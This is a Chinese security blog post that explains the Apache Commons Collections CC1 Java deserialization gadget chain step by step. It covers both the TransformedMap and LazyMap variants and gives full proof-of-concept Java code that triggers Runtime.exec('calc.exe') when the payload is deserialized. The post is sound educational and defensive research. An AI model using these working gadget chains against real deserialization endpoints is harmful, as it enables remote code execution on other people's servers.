CommonCollections1反序列化链分析

admin 2023年5月11日10:12:47评论28 views字数 17888阅读59分37秒阅读模式

CommonCollections1简称CC1链,Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。Commons Collections组件里面定义了一个Transformer接口,InvokerTransformer实现了Transformer接口,且可以执行任意方法,这也是CC1链中的主角。

复现环境

java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动)

CommonsCollections <= 3.2.1

TransformedMap

网上CC1链的构造有两种,一个是使用TransformedMap类,另一个是利用到LazyMap类,先来看看较为简单的TransformedMap。

先看看如下一段代码

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.*;

public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec"new Class[]{String.class},
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test""xxxx");
    }
}

这段代码运行结果如下

CommonCollections1反序列化链分析

很明显执行了我们代码中定义的calc命令,那我们来逐行分析一下看看代码中是怎么执行命令的。

TransformedMap

Map innerMap = new HashMap();  //20行

创建了一个HashMap对象赋值给innerMap

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  //21行

调用了TransformedMap里的decorate方法 ,且把innerMap 传了进来,后面两个参数我们稍后在分析,看看TransformedMap.decorate这个方法

CommonCollections1反序列化链分析

new了一个TransformedMap,再跟进

CommonCollections1反序列化链分析

把传进的参数进行赋值了,根据参数传递关系,这里的keyTransformer和valueTransformer分别为null和transformerChain。

CommonCollections1反序列化链分析

outerMap.put("test""xxxx");

根据outerMap.put方法看看里面做了什么

CommonCollections1反序列化链分析

调用了transformKey和transformValue方法

CommonCollections1反序列化链分析

判断是否等于null,是null的话就等于传进来的object,不是null,则执行keyTransformer和valueTransformer的transform方法。

那现在我们把第20行、21行、22行代码联系起来

Map innerMap = new HashMap();  //20行
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  //21行
outerMap.put("test""xxxx");  //22行

TransformedMap.decorate用来修饰innerMap,也就是我们创建的HashMap,当里面的值不为null且发生改变时触发TransformedMap里的回调函数keyTransformer和valueTransformer。

ChainedTransformer

这里触发了transformerChain回调函数,执行了transformerChain里面的transform方法,transformerChain是在第19行中创建出来的

Transformer transformerChain = new ChainedTransformer(transformers);  //19行

实例化了ChainedTransformer把transformers传入,transformers我们后看,先跟进ChainedTransformer看看里面的transform方法

CommonCollections1反序列化链分析

通过for循环把iTransformers数组遍历出来,依次调用transform方法,且是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。那我们去看看iTransformers也是我们第19 行代码传入的transformers里面定义。

其定义在14-18行

ConstantTransformer

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec"new Class[]{String.class},
                new Object[]{"calc"}),
        };

创建一个ConstantTransformer实例,并把Runtime.getRuntime()获取到的对象传入,跟进

直接赋值,然后通过回调transform把赋值后的iConstant返回

CommonCollections1反序列化链分析

InvokerTransformer

InvokerTransformer类是代码执行的关键,看看这里是怎么做的,创建一个InvokerTransformer,传入三个参数分别为("exec", new Class[]{String.class},new Object[]{"calc"})跟进

CommonCollections1反序列化链分析

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

依次赋值然后回调transform,然后通过反射执行iMethodName方法,这样就达到了执行exec该方法的目的

Transformer

一个接口,里面定义了一个未实现的transform方法,其中ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Transformer接口

CommonCollections1反序列化链分析

反序列化

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.*;

public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec"new Class[]{String.class},
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test""xxxx");
    }
}

通过上面的代码分析,我们已经搞明白了命令执行的原理,把一个集合放入TransformedMap.decorate,且参数里面传入我们精心构造的transformerChain,最终通过outerMap.put的方法去触发回调,达到执行transformerChain里的一系列回调,最终执行我们定义的代码。

以上构造都是在本地运行,那么在反序列化中,我们该以什么样的思路去构造POC呢?

回想本地的POC,我们是outerMap.put触发transform回调,那么反序列化,我们就要寻找一个类其里面的readObject方法里面存在某个方法可以触发到transform回调。

这个类就是

sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler.readObject里触发回调的方法就是

var5.setValue

CommonCollections1反序列化链分析

所以可以构造如下POC去进行调试

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod"new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke"new Class[]{Object.class,
                Object[].class}, new Object[]{nullnew Object[0]
            }),
            new InvokerTransformer("exec"new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value""xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

我们先不用去管为什么这样去构造POC,先去看看反序列化里面的逻辑,然后再回头来看为什么要这样去构造POC。在如下位置打上断点,进行调试程序。

CommonCollections1反序列化链分析

程序已经成功走到断点处

CommonCollections1反序列化链分析

一步一步走一下看看,首先拿到我们的反序列化流

CommonCollections1反序列化链分析

这里获取传过来的注解

CommonCollections1反序列化链分析

遍历var4里面的元素赋值给var5,而var4是this.memberValues.entrySet().iterator()获取的迭代器,this.memberValues其实就是我们反射构造器里传进来的outerMap

CommonCollections1反序列化链分析

那最后直接条跳到最后一个断点

CommonCollections1反序列化链分析

CommonCollections1反序列化链分析

跟进这个对象的setValue方法

CommonCollections1反序列化链分析

调用了this.parent.checkSetValue,而这里this.parent就是我们熟悉的TransformedMap,再往里面跟一步

CommonCollections1反序列化链分析

transform回调就在这里被执行了,直接让程序走到最后,发现执行命令成功弹出了计算机

CommonCollections1反序列化链分析

链子是通了,但是为什么要用如下的方式去构造POC呢

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod"new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke"new Class[]{Object.class,
                Object[].class}, new Object[]{nullnew Object[0]
            }),
            new InvokerTransformer("exec"new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value""xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

对比最终的反序列化POC和最初的如下一段代码

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.*;

public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec"new Class[]{String.class},
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test""xxxx");
    }
}

发现最大的区别就是获取Runtime这个对象的方式不同了

最初获取方式如下

CommonCollections1反序列化链分析

最终POC获取方式如下

CommonCollections1反序列化链分析

这是因为Runtime这个类是没有实现Serializable接口的,直接通过最初的Runtime.getRuntime()方式获取对象,在序列化过程中会报错,导致得不到流。

还一个问题为什么用Retention.class注解

CommonCollections1反序列化链分析

这是因为AnnotationInvocationHandler里逻辑里有个如下判断

CommonCollections1反序列化链分析

而让程序这个if条件为真的条件就是

  1. 1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

  2. 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

这也是为什么使用Retention的原因

CommonCollections1反序列化链分析

当然这种注解不止是Retention,也可以用其他满足条件的注解替换。

LazyMap

LazyMap这个类也是ysoserial这款工具里CC1使用的类,LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。

先上POC

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod"new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke"new Class[]{
                Object.class,
                Object[].class}, new Object[]{nullnew
                Object[0]}),
            new InvokerTransformer("exec"new Class[]{String.class
            },
                new String[]{"calc.exe"}),
        };

        Transformer transformerChain = new
            ChainedTransformer(transformers);

        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, transformerChain);


        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);

        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map)
            Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},
                handler);

        handler = (InvocationHandler)
            construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

可以看到第一处与TransformedMap利用链不同的地方就是在42行使用了LazyMap.decorate方法,跟进看看

CommonCollections1反序列化链分析

把我们构造好的transformerChain,传递给了factory,那怎么让它去调用factory里的回调函数transform呢,这要看LazyMap里的get方法了。

CommonCollections1反序列化链分析

里面的逻辑是当get过来的值找不到时,就会调用factory.transform,所以我们还是要去寻找一个类,这个类里存在调用get这个方法。当然LazyMap这条链还是利用了sun.reflect.annotation.AnnotationInvocationHandler,但是AnnotationInvocationHandler这个类的readObject方法里面没有直接去调用get方法

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

但是AnnotationInvocationHandler这个类是实现了InvocationHandler这个接口的,且AnnotationInvocationHandler类的invoke方法里面是有调用get这个方法的

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

CommonCollections1反序列化链分析

所以ysoserial的作者就想到了通过对象代理的方法去调用到这个get,这也是我们在POC的52-57行中看到的第二处与TransformedMap不同的地方。

运行POC也是可以成功执行命令的

CommonCollections1反序列化链分析

参考文献

https://t.zsxq.com/ZNZrJMZ //p牛java安全漫谈系列

CommonCollections1反序列化链分析 点击下方小卡片或扫描下方二维码观看更多技术文章CommonCollections1反序列化链分析

CommonCollections1反序列化链分析

师傅们点赞、转发、在看就是最大的支持


原文始发于微信公众号(猪猪谈安全):CommonCollections1反序列化链分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月11日10:12:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CommonCollections1反序列化链分析http://cn-sec.com/archives/1725271.html

发表评论

匿名网友 填写信息